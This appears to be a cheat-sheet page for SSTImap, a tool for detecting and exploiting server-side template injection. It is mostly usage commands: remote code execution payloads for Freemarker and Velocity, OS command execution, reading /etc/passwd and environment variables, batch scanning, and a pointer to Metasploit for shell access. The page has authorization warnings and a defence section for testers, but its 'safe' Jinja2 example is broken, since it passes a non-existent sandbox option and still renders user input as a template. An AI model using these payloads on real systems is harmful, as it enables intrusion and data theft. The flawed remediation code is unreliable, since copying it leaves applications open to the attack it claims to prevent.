Aller au contenu

SSTImap

SSTImap is an automated security testing tool for detecting and exploiting Server-Side Template Injection (SSTI) vulnerabilities. It identifies template engines and attempts code execution to demonstrate impact of SSTI vulnerabilities.

  • Automatic template engine detection
  • SSTI vulnerability scanning
  • Blind and non-blind exploitation
  • Multi-payload testing
  • Code execution capabilities
  • Request/response analysis
  • Vulnerability reporting
  • Cross-platform support

WARNING: SSTImap should ONLY be used:

  • In authorized penetration testing
  • With explicit written permission
  • On systems you own or control
  • In security research environments
  • For vulnerability assessment

Unauthorized testing is illegal and unethical.

  • Identify SSTI vulnerabilities in web applications
  • Test template engine security configurations
  • Verify vulnerability remediation
  • Security research and education
  • Penetration testing with authorization
  • Code execution impact demonstration
git clone https://github.com/vladimirmitin/sstimap.git
cd sstimap
chmod +x sstimap.py
# Install dependencies
pip install requests

# Or with requirements file
pip install -r requirements.txt
python sstimap.py -h
docker pull sstimap:latest
docker run -it sstimap:latest -h

Server-Side Template Injection occurs when:

  • User input is embedded in template files
  • Templates are evaluated server-side
  • Insufficient input sanitization exists
  • Attacker can inject template directives
EngineLanguageUsage
Jinja2PythonFlask, Django
TwigPHPSymfony
FreemarkerJavaSpring Boot
VelocityJavaVarious frameworks
ThymeleafJavaSpring
ERBRubyRails
Jade/PugNode.jsExpress
EJSNode.jsExpress
Jinja2: {{7*7}}
Twig: {{7*7}}
Freemarker: <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
Velocity: #set($x='')#set($rt=$x.class.forName('java.lang.Runtime'))#set($chr=$x.class.forName('java.lang.Character'))#set($str=$x.class.forName('java.lang.String'))$rt.getRuntime().exec('command')
# Clone repository
git clone https://github.com/vladimirmitin/sstimap.git
cd sstimap

# Install dependencies
pip install -r requirements.txt

# Make executable
chmod +x sstimap.py

# Run help
./sstimap.py -h
pip install sstimap
sstimap.py -h
# Scan single URL
python sstimap.py -u "http://vulnerable-site.com/page?name=test"

# Output:
# [*] Testing server-side template injection
# [+] Jinja2 detected in: name parameter
# [+] Vulnerability confirmed
# Test specific parameter
python sstimap.py -u "http://example.com/test?input=PAYLOAD" \
    --test-parameter "input"
# Save results to file
python sstimap.py -u "http://example.com/?name=test" \
    -o results.txt
# Enable verbose mode for detailed information
python sstimap.py -u "http://example.com/?name=test" \
    -v
# Detect template engine without exploitation
python sstimap.py -u "http://vulnerable-app.com/?search=test" \
    --detect-only

# Output shows:
# [+] Template engine: Jinja2
# [+] Injection point: search parameter
# Automatically test all GET/POST parameters
python sstimap.py -u "http://example.com/?id=1&name=test&type=prod" \
    --test-all-params
# Test for blind SSTI (time-based)
python sstimap.py -u "http://example.com/?input=test" \
    --detect-blind

# Introduces delays to detect processing
# Set custom timeout for responses
python sstimap.py -u "http://example.com/?id=test" \
    --timeout 10
# Test basic math to confirm SSTI
python sstimap.py -u "http://vulnerable.com/?name=PAYLOAD" \
    --test-expression "7*7"

# Result should show: 49
# Execute OS command
python sstimap.py -u "http://example.com/?input=PAYLOAD" \
    --execute-command "id"

# Attempts: whoami, id, cat /etc/passwd, etc.
# Read server files
python sstimap.py -u "http://example.com/?file=PAYLOAD" \
    --read-file "/etc/passwd"

# Or guess common file paths
python sstimap.py -u "http://example.com/?page=PAYLOAD" \
    --read-files
# Attempt database access via template injection
python sstimap.py -u "http://vulnerable-app.com/?search=PAYLOAD" \
    --database
# Add authentication headers
python sstimap.py -u "http://example.com/?id=test" \
    -H "Authorization: Bearer TOKEN" \
    -H "User-Agent: Custom-Agent"
# Test POST parameters
python sstimap.py -u "http://example.com/login" \
    --data "username=admin&password=test" \
    --test-parameter "password"
# Include session cookies
python sstimap.py -u "http://example.com/?name=test" \
    --cookie "PHPSESSID=abcd1234; admin=false"
# Route through proxy
python sstimap.py -u "http://example.com/?id=test" \
    --proxy "http://127.0.0.1:8080"

# For Burp Suite
python sstimap.py -u "http://example.com/?id=test" \
    --proxy "http://127.0.0.1:8080" \
    --ignore-proxy-warnings
# Ignore SSL warnings (test environments)
python sstimap.py -u "https://example.com/?input=test" \
    --no-ssl-verify
# Test Jinja2
python sstimap.py -u "http://vulnerable.com/?name=PAYLOAD"

# Payloads tested:
# {{7*7}} -> 49
# {{config.items()}}
# {{request.environ}}
# Twig injection test
python sstimap.py -u "http://vulnerable.com/?search=PAYLOAD"

# Payloads:
# {{7*7}} -> 49
# {{_self}}
# {{this.env}}
# Freemarker payload
python sstimap.py -u "http://vulnerable.com/?input=PAYLOAD"

# Freemarker RCE payload
# <#assign ex="freemarker.template.utility.Execute"?new()>${ex("whoami")}
# Velocity injection
python sstimap.py -u "http://vulnerable.com/?id=PAYLOAD"

# Math expression: #set($x=7*7)$x
# Thymeleaf template injection
python sstimap.py -u "http://vulnerable.com/?name=PAYLOAD"

# Payload: [[${7*7}]]
# Test multiple endpoints
cat urls.txt | while read url; do
    python sstimap.py -u "$url" -o results_$(date +%s).txt
done
#!/bin/bash
# Test all parameters in URL list

while read url; do
    echo "Testing: $url"
    python sstimap.py -u "$url" \
        --test-all-params \
        -o results.txt
done < urls.txt
#!/bin/bash
# Generate report of findings

TARGET="http://vulnerable-app.com"
REPORT="ssti_report_$(date +%Y%m%d).txt"

echo "SSTI Vulnerability Assessment Report" > $REPORT
echo "Date: $(date)" >> $REPORT
echo "Target: $TARGET" >> $REPORT
echo "================================" >> $REPORT

# Test all discovered endpoints
python sstimap.py -u "$TARGET" \
    --test-all-params \
    -v >> $REPORT

echo "Report saved to: $REPORT"
[*] Testing server-side template injection
[+] Detected: Jinja2 in parameter 'name'
[*] Attempting exploitation...
[+] Payload: {{7*7}}
[+] Response: 49
[+] VULNERABILITY CONFIRMED
[*] Attempting code execution...
[+] Command output:
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
#!/bin/bash
# Extract vulnerable endpoints

python sstimap.py -u "http://target.com/?id=test" \
    --test-all-params -v 2>&1 | \
    grep -E "\[+\]|VULNERABLE" | \
    tee vulnerabilities.log
# Map application parameters
python sstimap.py -u "http://target.com/?search=test&category=1" \
    --detect-only
# Identify template engine
python sstimap.py -u "http://target.com/?search=PAYLOAD" \
    --detect-template-engine
# Confirm SSTI vulnerability
python sstimap.py -u "http://target.com/?search=PAYLOAD" \
    --test-expression "7*7"
# Execute commands
python sstimap.py -u "http://target.com/?search=PAYLOAD" \
    --execute-command "id"
# Read sensitive files
python sstimap.py -u "http://target.com/?search=PAYLOAD" \
    --read-file "/etc/passwd"

# Access environment variables
python sstimap.py -u "http://target.com/?search=PAYLOAD" \
    --read-env
# Use SSTImap through Burp proxy
python sstimap.py -u "http://example.com/?param=test" \
    --proxy "http://127.0.0.1:8080"

# Intercept and modify requests in Burp
# Then test with SSTImap
# Export ZAP findings and test with SSTImap
python sstimap.py -u "http://example.com/?id=test" \
    --proxy "http://127.0.0.1:8090"
# Use findings from SSTImap in Metasploit
# 1. Run SSTImap to identify SSTI
# 2. Use template-specific exploits in Metasploit
# 3. Gain shell access via template injection
1. Input Validation
   - Whitelist allowed characters
   - Reject suspicious patterns
   - Length restrictions

2. Template Sandboxing
   - Use restricted templates
   - Disable dangerous functions
   - Limit object access

3. Context Separation
   - Don't mix code with templates
   - Use template escaping
   - Separate logic from presentation

4. Security Configuration
   - Disable debug mode in production
   - Restrict file access
   - Limit available functions
from jinja2 import Environment, select_autoescape

# Create restricted environment
env = Environment(
    autoescape=select_autoescape(['html', 'xml']),
    sandbox=True  # Enable sandbox
)

# Disable dangerous filters
env.filters['unsafe'] = lambda x: x  # Don't use!

# Render safely
template = env.from_string(user_input)
result = template.render(safe_var=value)
Suspicious patterns to monitor:
- {{7*7}} responses as 49
- {%.*%} in requests
- Object access attempts
- File read attempts
- OS command patterns

Issue: SSTI exists but SSTImap doesn’t detect it.

Solution:

# Try manual testing
python sstimap.py -u "http://example.com/?id=PAYLOAD" \
    -v

# Test with custom payload
python sstimap.py -u "http://example.com/?id=PAYLOAD" \
    --payload "{{7*7}}"

# Different parameter
python sstimap.py -u "http://example.com/?name=PAYLOAD" \
    --test-parameter "name"

Issue: Unable to connect to target.

Solution:

# Test connectivity
curl http://target.com/?id=test

# Try with verbose
python sstimap.py -u "http://target.com/?id=test" \
    -v

# Use proxy if needed
python sstimap.py -u "http://target.com/?id=test" \
    --proxy "http://127.0.0.1:8080"

Issue: Tool reports vulnerabilities that don’t exist.

Solution:

# Verify manually
# 1. Submit test payload: {{7*7}}
# 2. Check if response shows: 49
# 3. Confirm with different payloads

# Test with blind detection
python sstimap.py -u "http://target.com/?id=test" \
    --detect-blind

Before testing:

✓ Obtain written authorization
✓ Define scope clearly
✓ Document test plan
✓ Get legal review
✓ Maintain confidentiality
# Encrypt sensitive findings
gpg -e -r recipient@company.com report.txt

# Secure deletion
shred -vfz report.txt

# Audit trail
echo "$(date): SSTI testing completed" >> audit.log
# Basic scan
python sstimap.py -u "http://vulnerable.com/?id=test"

# Detect template engine
python sstimap.py -u "http://vulnerable.com/?id=test" --detect-only

# Execute command
python sstimap.py -u "http://vulnerable.com/?id=test" --execute-command "id"

# Read file
python sstimap.py -u "http://vulnerable.com/?id=test" --read-file "/etc/passwd"

# Test all parameters
python sstimap.py -u "http://vulnerable.com/?a=1&b=2&c=3" --test-all-params

# Verbose output
python sstimap.py -u "http://vulnerable.com/?id=test" -v

# Save results
python sstimap.py -u "http://vulnerable.com/?id=test" -o results.txt

# With proxy
python sstimap.py -u "http://vulnerable.com/?id=test" --proxy "http://127.0.0.1:8080"

# Custom headers
python sstimap.py -u "http://vulnerable.com/?id=test" \
    -H "Authorization: Bearer TOKEN"